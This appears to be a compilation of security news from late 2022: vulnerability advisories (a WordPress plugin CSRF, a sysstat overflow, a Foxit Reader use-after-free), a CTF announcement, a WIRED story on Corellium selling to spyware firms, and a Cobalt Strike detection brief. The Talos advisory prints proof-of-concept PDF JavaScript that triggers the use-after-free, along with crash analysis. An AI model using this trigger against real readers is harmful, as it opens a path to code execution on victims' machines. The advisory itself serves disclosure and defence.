Multiple Cross-Site Request Forgery vulnerabilities in All-In-One Security (AIOS) – Security and Firewall (WordPress plugin) <= 5.1.0 on WordPress.

 Verified

 Fixed

**5.4**

CVSS 3.1 score Medium severity

Report  

Monitoring Not reported to be exploited

Vulnerable versions

<= 5.1.0

PSID 

56c1bbdd9608

Classification 

Cross Site Request Forgery (CSRF)

OWASP Top 10 

A8: Cross Site Request Forgery (CSRF)

Publicly disclosed

2022-11-22

**Details**

Multiple Cross-Site Request Forgery (CSRF) vulnerabilities were discovered by Rafie Muhammad (Patchstack) in the WordPress All In One WP Security plugin (versions <= 5.1.0).

**Solution**

Update the WordPress All In One WP Security & Firewall plugin to the latest available version (at least 5.1.1).

**References**

CVE-2022-44737: WordPress All In One WP Security plugin <= 5.1.0 - Multiple Cross-Site Request Forgery (CSRF) vulnerabilities - Patchstack

**Tuesday, November 22 —** As the cyber skills gap widens to record new levels, disruptive cybersecurity training and upskilling platform, **Hack The Box** (HTB), has announced its **annual global University ‘Capture the Flag’ (CTF) competition** that will take place from **December 2-4, 2022**.

This year’s event, which is **open to students and academics at higher education institutions worldwide**, is designed to inspire and prepare a new generation of security professionals to join the fight against cybercrime, at a time when they are most needed with the global talent shortage standing at 3.4 million. 

**With attacks spiking 28% in the last quarter of 2022** alone, and cybercrime predicted to cost the global economy **$10.5 trillion** **by 2025**, students taking part will learn only the latest practical hacking skills needed to combat the ever-growing and evolving volume of sophisticated threats. Higher education professionals will also be introduced to innovative and effective new methods of gamified and hands-on teaching.

HTB’s University CTF will see students across the globe face **over 20 sophisticated cyber challenges**, testing their skills in Cloud, Crypto, Pwn, Web, Forensics and more. This year’s challenges replicate the latest attack scenarios and cybercriminal techniques, helping to ensure students of all levels are prepared for a career in modern day cybersecurity.

This year’s CTF aims to shine a light on cyberbullying and create an inclusive space where students all over the world can gain access to the latest skills and networks but also learn in an interactive**, enjoyable and safe environment**. Titled **‘Supernatural Hacks’** this year’s CTF focuses on helping students to interact safely online and build their digital citizenship, all whilst teams work together in a fictional wizarding world to defeat cybers darkest villains. Proceeds from the competition are being donated to Cybersmile, a multi-award- winning nonprofit organisation committed to digital wellbeing and tackling all forms of abuse and bullying online.

**Haris Pylarinos, CEO and co-founder of Hack The Box**, says: _“Universities are the breeding ground for the next generation of cyber professionals, and its critical students have experience tackling real world threats. The massive rise in the volume and sophistication of cyberattacks, means demand for new skills is booming and the old ways are no longer working.”_

_“CTFs are a highly effective way to learn hands-on cyber skills through fun, gamified content. We’re seeing students join to not only sharpen their skills but also network with like-minded peers looking to enter a career in cyber. The competition is also an opportunity for academics and universities to learn new teaching methods that promote a ‘hacking mindset’ approach, needed to match the current threat landscape.”_

**Haris continues** “_The game has changed in cyber. Arbitrary degree and qualification hiring criteria needs to be phased out and businesses must prioritise practical-based skills and training experience. This will help cut the red tape holding back an untapped pool of highly skilled cyber talent waiting in the wings._

_Meanwhile, for younger generations increasingly looking for professions with purpose, hacking presents not only lucrative career prospects but an opportunity to do meaningful work stopping cybercriminal online - protecting businesses, governments, hospitals, schools and individuals from dangerous real-life threats. We’re excited to continue preparing the hackers of the future.”_

Last year’s University CTF winners included players from some of the biggest universities and schools in the world, **University of Warwick**, **Hasso-Plattner Institute** and **42 Paris**. With more students looking to upskill themselves than ever, HTB University CTF has also seen a **191% increase in participatio**n from 2021 to 2021, with 2022 set to see record levels of participants.

Teams, consisting of 1- 20 players, can enter the CTF from anywhere. All skill levels are welcome with challenge categories ranging from ‘Beginner to Hard’. The CTF style will be Jeopardy and FullPwn. As well as cash, swag prizes, and certificates of attendance can be earned for taking part

Hack The Box’s University CTF is sponsored by EY.

**Registration closes on** **November 30. Sign up** **here.**

Hack The Box Launches Annual University CTF to Inspire Next Generation of Security Professionals

Gentoo Linux Security Advisory 202211-7 - An integer overflow vulnerability has been found in sysstat which could result in arbitrary code execution. Versions less than 12.7.1 are affected.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -  
Gentoo Linux Security Advisory                           GLSA 202211-07  
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -  
                                           https://security.gentoo.org/  
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

 Severity: Normal  
    Title: sysstat: Arbitrary Code Execution  
     Date: November 22, 2022  
     Bugs: #880543  
       ID: 202211-07

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Synopsis  
=======  
An integer overflow vulnerability has been found in sysstat which could  
result in arbitrary code execution.

Background  
=========  
sysstat is a package containing a number of performance monitoring  
utilities for Linux, including sar, mpstat, iostat and sa tools.

Affected packages  
================  
    -------------------------------------------------------------------  
     Package              /     Vulnerable     /            Unaffected  
    -------------------------------------------------------------------  
  1  app-admin/sysstat          < 12.7.1                    >= 12.7.1

Description  
==========  
On 32 bit systems, an integer overflow can be triggered when displaying  
activity data files.

Impact  
=====  
Arbitrary code execution can be achieved via sufficiently crafted  
malicious input.

Workaround  
=========  
There is no known workaround at this time.

Resolution  
=========  
All sysstat users should upgrade to the latest version:

  # emerge --sync  
  # emerge --ask --oneshot --verbose ">=app-admin/sysstat-12.7.1"

References  
=========  
[ 1 ] CVE-2022-39377  
      https://nvd.nist.gov/vuln/detail/CVE-2022-39377

Availability  
===========  
This GLSA and any updates to it are available for viewing at  
the Gentoo Security Website:

 https://security.gentoo.org/glsa/202211-07

Concerns?  
========  
Security is a primary focus of Gentoo Linux and ensuring the  
confidentiality and security of our users' machines is of utmost  
importance to us. Any security concerns should be addressed to  
security@gentoo.org or alternatively, you may file a bug at  
https://bugs.gentoo.org.

License  
======  
Copyright 2022 Gentoo Foundation, Inc; referenced text  
belongs to its owner(s).

The contents of this document are licensed under the  
Creative Commons - Attribution / Share Alike license.

https://creativecommons.org/licenses/by-sa/2.5

Gentoo Linux Security Advisory 202211-07

A use-after-free vulnerability exists in the JavaScript engine of Foxit Software's PDF Reader, version 12.0.1.12430. By prematurely destroying annotation objects, a specially-crafted PDF document can trigger the reuse of previously freed memory, which can lead to arbitrary code execution. An attacker needs to trick the user into opening the malicious file to trigger this vulnerability. Exploitation is also possible if a user visits a specially-crafted, malicious site if the browser plugin extension is enabled.

**SUMMARY**

A use-after-free vulnerability exists in the JavaScript engine of Foxit Software’s PDF Reader, version 12.0.1.12430. By prematurely destroying annotation objects, a specially-crafted PDF document can trigger the reuse of previously freed memory, which can lead to arbitrary code execution. An attacker needs to trick the user into opening the malicious file to trigger this vulnerability. Exploitation is also possible if a user visits a specially-crafted, malicious site if the browser plugin extension is enabled.

**CONFIRMED VULNERABLE VERSIONS**

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

Foxit Reader 12.0.1.12430

**PRODUCT URLS**

Foxit Reader - https://www.foxitsoftware.com/pdf-reader/

**CVSSv3 SCORE**

8.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

**CWE**

CWE-416 - Use After Free

**DETAILS**

Foxit PDF Reader is one of the most popular PDF document readers and has a large user base. It aims to have feature parity with Adobe’s Acrobat Reader. As a complete and feature-rich PDF reader, it supports JavaScript for interactive documents and dynamic forms. JavaScript support poses an additional attack surface. Foxit Reader uses the V8 JavaScript engine.

Javascript support in PDF renderers and editors enables dynamic documents that can change based on user input or events. There exists a use-after-free vulnerability in the way Foxit Reader handles certain events of form elements, such as text fields or buttons. This can be illustrated by the following proof-of-concept code:

    function main() {
    
    getField("txt2").setAction("OnBlur",'f20();');
    getField('txt2').setFocus();
    this.addAnnot({page: 1, type: "Stamp", point: [6,13,12,16],state : 0,popupOpen : true,callout : "",lineEnding :0,name :"b"}); 
    
    }
    
    
    
    function f20() { 
    
    this.getAnnots()[0].destroy(); 
    
    }
    

The above code simply assigns a callback function to ‘OnBlur’ action for field txt2. Next, a new annotation is created which promptly makes the field txt2 lose focus, triggering its callback. In the action callback, the newly created annotation is immediately destroyed, which ends up freeing the associated memory. We can observe the following in the debugger at the time of the crash:

    (21b0.1d4c): Access violation - code c0000005 (first chance)
    First chance exceptions are reported before any exception handling.
    This exception may be expected and handled.
    eax=00000000 ebx=07afdf34 ecx=17c7a87d edx=0c4b0000 esi=27a9afe8 edi=07afdf54
    eip=02ce68a7 esp=07afded0 ebp=07afdf20 iopl=0         nv up ei pl nz ac pe nc
    cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010216
    FoxitPDFReader!safe_vsnprintf+0xe252c7:
    02ce68a7 8b06            mov     eax,dword ptr [esi]  ds:002b:27a9afe8=????????
    0:000> u
    FoxitPDFReader!safe_vsnprintf+0xe252c7:
    02ce68a7 8b06            mov     eax,dword ptr [esi]
    02ce68a9 8bce            mov     ecx,esi
    02ce68ab 8b4040          mov     eax,dword ptr [eax+40h]
    02ce68ae ffd0            call    eax
    02ce68b0 84c0            test    al,al
    02ce68b2 7469            je      FoxitPDFReader!safe_vsnprintf+0xe2533d (02ce691d)
    02ce68b4 f30f1045fc      movss   xmm0,dword ptr [ebp-4]
    02ce68b9 0f57c9          xorps   xmm1,xmm1
    0:000> k 8
     # ChildEBP RetAddr      
    WARNING: Stack unwind information not available. Following frames may be wrong.
    00 07afdf20 02c60f8f     FoxitPDFReader!safe_vsnprintf+0xe252c7
    01 07afe11c 02c331f2     FoxitPDFReader!safe_vsnprintf+0xd9f9af
    02 07afe170 02f54d9b     FoxitPDFReader!safe_vsnprintf+0xd71c12
    03 07afe1b8 03138a8b     FoxitPDFReader!FXJSE_GetClass+0x26b
    04 07afe220 0313824e     FoxitPDFReader!CFXJSE_Arguments::GetValue+0x1e361b
    05 07afe2b4 03138505     FoxitPDFReader!CFXJSE_Arguments::GetValue+0x1e2dde
    06 07afe2fc 0313838b     FoxitPDFReader!CFXJSE_Arguments::GetValue+0x1e3095
    07 07afe318 0335a53b     FoxitPDFReader!CFXJSE_Arguments::GetValue+0x1e2f1b
    0:000> !heap -p -a esi
        address 27a9afe8 found in
        _DPH_HEAP_ROOT @ c4b1000
        in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)
                                       2f1c11d4:         27a9a000             2000
        64e3ae02 verifier!AVrfDebugPageHeapFree+0x000000c2
        77b82c91 ntdll!RtlDebugFreeHeap+0x0000003e
        77ae3c45 ntdll!RtlpFreeHeap+0x000000d5
        77ae3812 ntdll!RtlFreeHeap+0x00000222
        0463fc6b FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x00484b4b
        0461d121 FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x00462001
        045655d2 FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x003aa4b2
        01513fd9 FoxitPDFReader!CryptUIWizExport+0x00034699
        016e442d FoxitPDFReader!CryptUIWizExport+0x00204aed
        019b6204 FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x00015f04
        019b622b FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x00015f2b
        00da8efe FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x000458fe
        00da268d FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x0003f08d
        01724664 FoxitPDFReader!CryptUIWizExport+0x00244d24
        01727c0c FoxitPDFReader!CryptUIWizExport+0x002482cc
        0197b9f1 FoxitPDFReader!CryptUIWizExport+0x0049c0b1
        01385d32 FoxitPDFReader!std::basic_ios<char,std::char_traits<char> >::fill+0x002e6532
        01500b7e FoxitPDFReader!CryptUIWizExport+0x0002123e
        02cf7a11 FoxitPDFReader!safe_vsnprintf+0x00e36431
        02ce0972 FoxitPDFReader!safe_vsnprintf+0x00e1f392
        02f54d9b FoxitPDFReader!FXJSE_GetClass+0x0000026b
        03138a8b FoxitPDFReader!CFXJSE_Arguments::GetValue+0x001e361b
        0313824e FoxitPDFReader!CFXJSE_Arguments::GetValue+0x001e2dde
        03138505 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x001e3095
        0313838b FoxitPDFReader!CFXJSE_Arguments::GetValue+0x001e2f1b
        0335a53b FoxitPDFReader!CFXJSE_Arguments::GetValue+0x004050cb
        032f6599 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x003a1129
        032f6599 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x003a1129
        032f4c20 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x0039f7b0
        032f4a49 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x0039f5d9
        02f915ee FoxitPDFReader!CFXJSE_Arguments::GetValue+0x0003c17e
        02f91102 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x0003bc92
    

In the above debugger output, we can see that the crash is due to dereference of invalid memory (with PageHeap enabled). The memory is invalid because it belongs to a freed allocation, as shown by output of !heap. Additionally, the dereference happens as part of a vtable function call, which lends itself to straightforward control flow hijacking. If we step back and examine the size of the object before it’s been freed, we would see:

     0:000> dt _DPH_BLOCK_INFORMATION 27a9afc8
    verifier!_DPH_BLOCK_INFORMATION
       +0x000 StartStamp       : 0xabcdbbbb
       +0x004 Heap             : 0x1a161000 Void
       +0x008 RequestedSize    : 0x14
       +0x00c ActualSize       : 0x1000
       +0x010 Internal         : _DPH_BLOCK_INTERNAL_INFORMATION
       +0x018 StackTrace       : 0x1b507994 Void
       +0x01c EndStamp         : 0xdcbabbbb
    

The freed object that is first being dereferenced is of size 0x14. A newly created annotation is deleted inside the event handler, but is then reused in the main execution thread, which causes a crash. This indicates a use-after-free condition. Since additional Javascript code can be executed between object free and reuse, freed memory could be put under attacker control. With careful memory layout manipulation, this can lead to further memory corruption and ultimately arbitrary code execution.

**TIMELINE**

2022-09-22 - Vendor Disclosure  
2022-11-09 - Vendor Patch Release  
2022-11-10 - Public Release

Discovered by Aleksandar Nikolic of Cisco Talos.

CVE-2022-38097: TALOS-2022-1601 || Cisco Talos Intelligence Group

Threat actors are becoming only more sophisticated and determined.

Current approaches to managing operations and security made sense at the time they were established, pre-cloud and pre-digital transformation. Now, with networked multicloud environments, both digital operations and security are far more complex. And even in the digital world, people and teams want to protect their turf. According to IBM's most recent cyber-resilience report, the top three reasons why cyber resiliency has not improved are:

1.  Inability to reduce silo and turf issues
2.  Fragmented IT and security infrastructure
3.  Lack of visibility into applications and data assets

These are all operational issues.

Operations has been fragmented, with responsibilities scattered across lines of business, including IT, finance, sales and marketing, DevOps, and SecOps. Chief information officers (CIOs) scramble to make sure information is available to those who need it while trying to stay compliant with business and data policies. Meanwhile, chief information security officers (CISOs) focus on protecting assets and data from loss and threats across the entire business. All organizations face a daily flood of data across the multitude of tools and systems they rely on to run their businesses — and yet that data is siloed too.

At the same time, threat actors are increasingly sophisticated and determined. Ransomware is practically a legitimate business — perpetrators have "customer" help desks and arrange payment terms for their victims. Adding tools and people to address security doesn't scale and can no longer solve operational and security issues effectively. The status quo of siloed operations is just not sustainable.

According to IBM's research, the average midsize enterprise runs more than 45 security tools — and that's not to mention those for monitoring applications, the network, and cloud operations. Most are designed for a unique function, which they may do exceedingly well. But together, they can become a management nightmare or be ignored, which is a shame, since their data is valuable. It doesn't make sense to have so many tools yet limit data you ingest — and you also need that data over time to discover potential issues before damage occurs.

**Security and Operations Must Join Forces**

It's time to think differently about approaching both operational integrity _and_ security. Start by considering what ops and security organizations have in common:

1.  **Availability:** Ops is responsible for ensuring business systems and information are available to all who need access. Security teams are responsible for ensuring the right data is available to the right people at the right times on the right devices.
2.  **Risk:** The ops view of risk focuses on keeping everything up and running to avoid downtime and poor performance that kill business productivity and efficiency. Security organizations view risk in terms of data loss, manipulation, and damage to the business.

What if digital operations and security shifted from operating separately — working in silos, managing a lot of tools, duplicating efforts — to working together on a shared data and analytics platform? And what if that platform made them more effective at delivering on their common objectives of providing availability across infrastructure and assets while reducing risk?

Digital ops and security share a common goal of keeping the business operating securely at optimal capacity. To succeed in this shared mission, you need to create a cohesive "digital + security" approach, supported by a team that collaborates and optimizes the resources at hand — both human and machine.

**Security and Operations Need a Common Operational Picture**

For many companies, the cost of running operations takes a disproportionate share of budgets, leaving less to spend on innovation and growth. And it's not helping reduce risk (of downtime or breaches). The only solution is to accelerate digital transformation by shifting focus from worrying about risk to preventing it. And the only way to do that is converging _all_ your operations and security data into a common platform.

Merging ops and security with an information-sharing platform enables fully secured, reliable, and convenient enterprise operations.

By ingesting and analyzing all your operational and security data, you can ultimately derive a common operational picture (COP). From there, you need to connect the dots across ops and security data to gain the context and intelligence necessary to successfully manage risk. Applying advanced analytics and machine learning, organizations can then identify pre-incident situations, rank them by business risk, and correlate them with sufficient context for proactive resolution. 

Ops and security can 100% work together. By doing so, CISOs and CIOs gain insights and can prove damage avoided — which means they can show "goals saved" and quantify value.

Better Together: Why It's Time for Ops and Security to Converge

A 500-page document reviewed by WIRED shows that Corellium engaged with several controversial companies, including spyware maker NSO Group.

Corellium, a cybersecurity startup that sells phone-virtualization software for catching security bugs, offered or sold its tools to controversial government spyware and hacking-tool makers in Israel, the United Arab Emirates, and Russia, and to a cybersecurity firm with potential ties to the Chinese government, according to a leaked document reviewed by WIRED that contains internal company communications.

The 507-page document, apparently prepared by Apple with the goal of using it in the company’s 2019 copyright lawsuit against Corellium, shows that the security firm, whose software lets users perform security analysis using virtual versions of Apple’s iOS and Google’s Android, has dealt with companies that have a track record of selling their tools to repressive regimes and countries with poor human rights records.

According to the leaked document, Corellium in 2019 offered a trial of its product to NSO Group, whose customers have for years been caught using its Pegasus spyware against dissidents, journalists, and human rights defenders. Similarly, Corellium’s sales staff offered to provide a quote to purchase its software to DarkMatter, a now-shuttered cybersecurity company with ties with the UAE government that hired several former US intelligence members who reportedly helped it spy on human rights activists and journalists. 

In correspondence with WIRED, Corellium says NSO Group and Dark Matter had access to “a limited time/limited functionality trial version of Corellium's software” and that both were later denied requests to purchase the full version following its vetting process. 

For years Corellium has painted itself as a crucial defender against software bugs on Android and iOS. But the leaked document shows that Corellium worked with several companies that use bugs and exploits to hack into cell phones, as opposed to helping Google and Apple patch vulnerabilities.

The document includes emails between Corellium staff and customers or potential customers, including NSO Group and DarkMatter. The document is not public and is being reported on for the first time here. 

“As one of our early beta requesters, we’re delighted to extend you and your team at NSO Group an exclusive invitation to try Corellium, the world’s first and only mobile device virtualization platform. We think you’ll really enjoy the advanced mobile security research tools we have to offer,” reads a March 26, 2019, email between Correllium’s support staff and an NSO Group employee. “Your free trial will last until April 9. Trial accounts are limited, but if you need more time, or if you prefer to start your trial at a different time, just let us know.”

In the case of DarkMatter, the document includes an email exchange between a company employee and a Corellium sales email address. The emails are not dated, but they apparently reference a 2019 training on how to use the platform that Corellium offered potential customers at the cybersecurity conference Black Hat.

“I was a trainer at Blackhat last year where you guys had provided us access to the portal for a few days and I was very impressed with the amount of features it had,” the DarkMatter employee wrote. “We are interested in purchasing it. Can you guys provide us a quote for all the available options that you have?”

“We’re so glad to hear that you enjoyed using Corellium at Blackhat, and we actually have DarkMatter on our list of teams to reach out to regarding availability,” an unnamed Corellium employee responded. “We’d be more than happy to provide you a quote with all the options checked.”

Also in 2019, according to the document, Corellium sold its software to Paragon, a little-known company that has since been reported to be a provider of government surveillance technology. Corellium also licensed its software to a company called Pwnzen Infotech, whose founders were part of Pangu Team, a well-known Chinese group of elite iOS and iPhone hackers. A Pwnzen sales representative told Reuters in 2019, when Pwnzen was already a Corellium customer, that the company helped hack the phone of a person suspected of “subverting the government” in China. 

“There are a number of ties between Pwnzen and the People’s Republic of China’s government that are cause for concern,” says Dakota Cary, a consultant at Krebs Stamos Group who has written several reports about cybersecurity in China. “Bolstering Pwnzen’s hacking capabilities likely occurred at the detriment to US security interests,” he added, explaining that the company’s improved capabilities could have provided the Chinese government with better tools to hack targets inside and outside of the country, including the US.

Also, as of today, Corellium counts Russian iPhone hacking company Elcomsoft as a customer. And in 2019, Corellium sold to Elcomsoft’s Israeli competitor Cellebrite, a firm that helps law enforcement unlock iPhones and access the data stored within. Cellebrite has reportedly sold its phone-hacking products to countries such as China, Saudi Arabia, and Bahrain, among others. 

Corellium did not dispute the legitimacy of the document, but it also did not respond to a series of questions about its contents. Instead, Corellium CEO Amanda Gorton shared a draft of a blog post in which the company says it offered trials to NSO Group and DarkMatter but denied that the two companies became customers. 

“We’ve had opportunities to profit from these bad actors and have chosen not to,” the blog post reads. It further explains that Corellium restricts sales of its cloud product to “fewer than sixty countries” and has a “block list” of organizations.

Corellium didn’t specify the 60 countries, nor did it answer specific questions about Paragon, Pwnzen, Cellebrite, or Elcomsoft. The company wrote in the blog post that as the sales process goes on, the vetting gets “more intensive.” According to the blog post, that means Corellium asks about the customer’s use case, consults with “trusted contacts in the security community, including contacts at various US government agencies,” and looks at the potential customer’s online presence and investigates its “ownership, corporate structure, and employees.”

Apple did not respond to a request for comment, nor did NSO Group, Cellebrite, or Pwnzen. XiaBo Chen, who identifies as the founder of Pwnzen on LinkedIn, did not respond to multiple requests for comment. After the controversy surrounding DarkMatter’s role in targeting activists and journalists, the company reportedly rebranded to Digital14 in 2019, then to CPX in 2021. Digital14 and CPX did not respond to requests for comment.

Idan Nurick, the CEO and cofounder at Paragon, says that “as a matter of principle, Paragon maintains the confidentiality of its clients, as well as technology providers, and the company does not disclose any information pertaining to these entities.”

Vladimir Katalov, the CEO, cofounder, and co-owner of Elcomsoft, confirmed that his company is a Corellium customer. 

‘Puzzling’ Claims

The leaked document, prepared in 2021, according to an included timeline, mirrors Apple’s arguments against Corellium, which it accused of violating its copyright and the Digital Millennium Copyright Act by re-creating a virtual version of iOS. While Apple has never publicly presented the evidence that’s contained in the document against Corellium, the tech giant accused Corellium in its lawsuit of helping researchers develop zero-day exploits and spyware for governments around the world, hinting that this was one of the main reasons it didn’t approve of Corellium’s practices, apart from alleged copyright infringement.

“Although Corellium paints itself as providing a research tool for those trying to discover security vulnerabilities and other flaws in Apple’s software, Corellium’s true goal is profiting off its blatant infringement,” Apple said in the complaint. “Far from assisting in fixing vulnerabilities, Corellium encourages its users to sell any discovered information on the open market to the highest bidder.”

Corellium has forcefully defended itself against Apple’s claims, saying it sells to “well-known and well-respected financial institutions, government agencies, and security researchers” who use their product for legitimate purposes.

In December 2020, when he dismissed Apple’s copyright infringement claims, US District Judge Rodney Smith, of the Southern District of Florida, sided with Corellium, writing in the order on the parties’ motions for summary judgment that “Apple’s position is puzzling, if not disingenuous.”

“As for Apple’s contention that Corellium sells its product indiscriminately, that statement is belied by the evidence in the record that the company has a vetting process in place (even if not perfect) and, in the past, has exercised its discretion to withhold the Corellium Product from those it suspects may use the product for nefarious purposes,” the judge wrote. “Having reviewed the evidence, the Court does not find a lack of good faith and fair dealing.”

The case took an unexpected turn in August 2021, when Apple and Corellium settled out of court. (The terms of the deal were confidential.) Then, days later, the tech giant filed an appeal, keeping its case against Corellium alive.

Bad Reputations

Even in 2019, NSO Group and DarkMatter had poor reputations in the world of cybersecurity. At the time, there had already been several examples of abuse of NSO Group’s Pegasus spyware, particularly against journalists in Mexico. Ronald Deibert, the director of the Citizen Lab, a digital rights watchdog housed at the University of Toronto's Munk School that has investigated companies like NSO Group for years, said in March 2019 that there was a “mountain of evidence that NSO Group’s surveillance technology is being abused by its clients, and the company is either unwilling or unable to perform the type of due diligence to prevent that from happening.” 

Both Apple and Microsoft have called NSO Group “21st-century mercenaries.”

Gorton has publicly denied selling Corellium’s products to DarkMatter and NSO Group and said Corellium does not sell to companies in the Middle East.

“We have definitely rejected customers who have approached us. I’m sure you can imagine DarkMatter, NSO Group have all reached out and we just politely declined, we don’t sell to that region,” she said during a November 2021 interview with the _Decipher_ podcast. 

In the interview, she sold her company’s mission as positive and uncontroversial, saying that Corellium can be used to help researchers find bugs and report them to companies like Apple, something that companies like NSO Group, DarkMatter, Paragon, Pwnzen, Cellebrite, and Elcomsoft don’t do. Gorton added that hunting for security bugs is “kind of exactly what we wanted to see the platform used for.”

In the past, other Corellium executives and founders have repeatedly downplayed the possibility that bad actors could use its software. When asked whether he was worried that Corellium customers could use the product to find bugs and develop exploits that would then be used by governments, David Wang, one of the company’s cofounders, told _Forbes_ in 2018 that the company would be “selective in who we choose to do business with.” 

Wang did not respond to WIRED’s request for comment. 

In the podcast interview, Gorton has also fielded questions about how Corellium vets its customers to avoid selling to bad actors and that the company takes this process “very seriously,” selling only in the Asia-Pacific, European Union, and North America regions, and researching companies they don’t recognize. “We err on the side of caution,” she said.

The leaked document includes a 2021 email from Steve Dyer, the vice president of sales and business development at Corellium, to Gorton. In the email, Dyer explains the process for vetting “current and future cloud customers” as they submit requests for trials online. Part of the process, Dyer wrote, is to check that the companies are not from countries sanctioned by the US government, such as North Korea, Sudan, Syria, and Russia. (While Elcomsoft is headquartered in Russia, the company is not sanctioned by the US government.) 

“China has been added to the list for auto-denied trials,” Dyer wrote. 

Last year, the US government added NSO Group to a federal blocklist, preventing any US companies and individuals from doing business with the spyware company. In correspondence with WIRED, Corellium said it voluntarily refused to sell its software to NSO Group “more than two years before the United States Department of Commerce placed NSO Group on its Entity List.”

Nevertheless, Corellium’s engagement with these controversial companies may change the cybersecurity community’s view that Apple’s lawsuit is a case of an entitled tech giant going after a scrappy startup with an innovative product that it doesn’t like. 

John Scott-Railton, a senior researcher at the Citizen Lab, says the Corellium sales department’s outreach to NSO Group and DarkMatter is “a potentially cynical act” given the nature of those companies. “At that point, Corellium and everyone else knew exactly who NSO Group was and what they would do with that kind of technology and the people that would inevitably be harmed,” Scott-Railton says. “It raises questions about their ethics, their judgment, or both.”

Zach Edwards, an independent privacy and security researcher, says that “sensitive technology cannot be haphazardly sold to any company, in any country in the world.”

“While Corellium is a reverse-engineering tool that doesn't intrinsically create risks through its sale, the core purpose of the tool is to reverse malware,” Edwards says. “And if you sell the product to malware developers in countries averse to Western interests, we should assume that this tool will be used to improve malware.”

A person who tried Corellium in the past, who asked to remain anonymous because they were not allowed to speak to the press, says that “given what’s happening in the world today, you shouldn’t be dealing with Russian companies,” such as Elcomsoft. 

Elcomsoft’s CEO Katalov says that “the decision to work with a company based in Russia is a personal choice.”

“Please rest assured that we still strive to provide the best software and services, and trying to keep good relationships with our customers all over the world,” he adds. “We will just keep doing our job, making the world a safer place and battling the crime.”

Adrian Sanabria, a cybersecurity veteran, says that it’s not surprising that “groups interested in creating iOS exploits would be using a platform designed for iOS security research.” 

“For me, the core takeaway is that Apple created the need for platforms like Corellium by not providing the tools, access, and transparency the market needs and desires,” he says.

Danger Zones

Some of the organizations and companies linked to Corellium in the document come from countries seen as controversial by most people in the cybersecurity community in the West, including Alex Stamos, who acted as an expert witness for Corellium in the lawsuit against Apple.  

“I personally don’t believe it would be ethical to sell exploits to Saudi Arabia,” Stamos, the director of Stanford University’s Internet Observatory, said during testimony he provided in the lawsuit between Apple and Corellium, which is quoted in the document.  

Stamos also expressed doubts about selling products to the United Arab Emirates, whose government had a close relationship with DarkMatter. “The UAE has been shown to use malware and exploits to spy on journalists and suppress local dissent,” Stamos said. 

In response to the document’s revelations, Stamos says he doesn’t think “it's appropriate for Apple to use copyright law to try to stop security research, and I don't think it's responsible for Corellium to offer their product to companies known to create malicious software for authoritarian states.”

The document also includes the logos of alleged Corellium customers and companies linked to it. As well as the companies previously mentioned, the document includes the logo of Azimuth, a provider of advanced hacking tools to the intelligence and law enforcement agencies of the so-called Five Eyes. Other logos include the Centre for Strategic Infocomm Technologies of Singapore, or CSIT, as well as the logo of an academic institution in Saudi Arabia called the Center of Excellence in Information Assurance (COEIA), housed at the King Saud University. 

CSIT executives did not respond to a request for comment. Other than the logo of the COEIA, the document also shows a 2019 email titled “invitation to Corellium” sent to the organization. The COEIA did not respond to a request for comment.

The legal battle between Apple and Corellium is ongoing. Late last month, the two companies appeared at a hearing before the Eleventh Circuit of the US Court of Appeals in Florida. Apple’s lawyer, Melissa Sherry, argued that Corellium’s product is just a slightly tweaked version of iOS that’s not transformative enough not to be fair use. Corellium attorney Kevin Russell said the product helps users “shed light on the functionality of the Apple operating system” and is, therefore, fair use.

“I don't think there's a genuine dispute that the purpose of the product is to explore the unprotected functionality of the system's software,” he said. “What people do with that knowledge is the subject of another statute.”

A Leak Details Apple's Secret Dirt on Corellium, a Trusted Security Startup

Google Cloud last week disclosed that it identified 34 different hacked release versions of the Cobalt Strike tool in the wild, the earliest of which shipped in November 2012.
The versions, spanning 1.44 to 4.7, add up to a total of 275 unique JAR files, according to findings from the Google Cloud Threat Intelligence (GCTI) team. The latest version of Cobalt Strike is version 4.7.2.
Cobalt

Google Cloud last week disclosed that it identified 34 different hacked release versions of the Cobalt Strike tool in the wild, the earliest of which shipped in November 2012.

The versions, spanning 1.44 to 4.7, add up to a total of 275 unique JAR files, according to findings from the Google Cloud Threat Intelligence (GCTI) team. The latest version of Cobalt Strike is version 4.7.2.

Cobalt Strike, developed by Fortra (née HelpSystems), is a popular adversarial framework used by red teams to simulate attack scenarios and test the resilience of their cyber defenses.

It comprises a Team Server that acts as the command-and-control (C2) hub to remotely commandeer infected devices and a stager that's designed to deliver a next-stage payload called the Beacon, a fully-featured implant that reports back to the C2 server.

Given its wide-ranging suite of features, unauthorized versions of the software have been increasingly weaponized by many a threat actor to advance their post-exploitation activities.

"While the intention of Cobalt Strike is to emulate a real cyber threat, malicious actors have latched on to its capabilities, and use it as a robust tool for lateral movement in their victim's network as part of their second-stage attack payload," Greg Sinclair, a reverse engineer at Google's Chronicle subsidiary, said.

In a bid to tackle this abuse, GCTI has released a set of open source YARA Rules to flag different variants of the software used by malicious hacking groups.

The idea is to "excise the bad versions while leaving the legitimate ones untouched," Sinclair said, adding "our intention is to move the tool back to the domain of legitimate red teams and make it harder for bad guys to abuse."

